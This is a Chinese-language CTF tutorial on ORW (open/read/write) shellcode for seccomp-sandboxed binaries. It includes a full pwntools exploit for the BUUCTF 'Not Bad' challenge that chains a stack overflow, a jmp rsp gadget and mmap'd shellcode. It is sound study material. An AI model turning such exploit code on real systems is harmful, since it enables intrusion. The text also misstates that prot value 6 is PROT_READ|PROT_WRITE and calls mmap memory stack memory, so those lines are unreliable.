从零开始的 Pwn 之旅 - ORW

ORW 初识

ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag 内容

1
2
3
fd = open('/flag','r')
read(fd,buf,len)
write(1,buf,len)

查看沙箱

安装 seccomp-tools 工具

1
2
sudo apt install gcc ruby-dev
gem install seccomp-tools

使用 seccomp-tools

1
seccomp-tools dump ./prog

mmap 函数

一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void *mmap{
    void *addr; //映射区首地址,传NULL
    size_t length; //映射区大小
    //会自动调为4k的整数倍
    //不能为0
    //一般文件多大,length就指定多大
    int prot; //映射区权限
    //PROT_READ 映射区必须要有读权限
    //PROT_WRITE
    //PROT_READ | PROT_WRITE
    int flags; //标志位参数
    //MAP_SHARED 修改内存数据会同步到磁盘
    //MAP_PRIVATE 修改内存数据不会同步到磁盘
    int fd; //要映射文件所对应的文件描述符
    off_t offset; //映射文件的偏移量,从文件哪个位置开始
    //映射的时候文件指针的偏移量
    //必须是4k的整数倍
    //一般设为0
}

例题

极客大挑战 2019 Not Bad

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~/P/b/[极客大挑战 2019]Not Bad ❯❯❯ pwn checksec ./bad                                                                                                          (.venv)159
[*] '/home/lhon901/Pwn/buuctf/[极客大挑战 2019]Not Bad/bad'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments

~/P/b/[极客大挑战 2019]Not Bad ❯❯❯ seccomp-tools dump ./bad                                                                                                          (.venv)
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

64 位无任何保护

seccomp 规则只允许以下几个系统调用:

  • read (0)
  • write (1)
  • open (2)
  • exit (60)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000u, 6, 34, -1, 0);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0;
}


int sub_400A16()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38u);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

void sub_4009EE()
{
  __asm { jmp     rsp }
}

注意观察 mmap 的第三个参数 6 = PROT_READ | PROT_WRITE = 可写 + 可执行

  • PROT_READ (1) 可读
  • PROT_WRITE (2) 可写
  • PROT_EXEC (4) 可执行

思路溢出后执行 read(0, 0x123000, 0x1000) 读取 orw shellcode 到 mmap 区域,然后执行 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

# p = process("./bad")
p = remote("node5.buuoj.cn", 29957)

context.arch = "amd64"

mmap = 0x123000
orw = shellcraft.open("./flag")
orw += shellcraft.read("rax", mmap, 0x50)
orw += shellcraft.write(1, mmap, 0x50)


jmp_rsp = 0x400A01
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28, b"\x00")
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

p.sendline(payload)

time.sleep(1)

p.sendline(asm(orw))

p.interactive()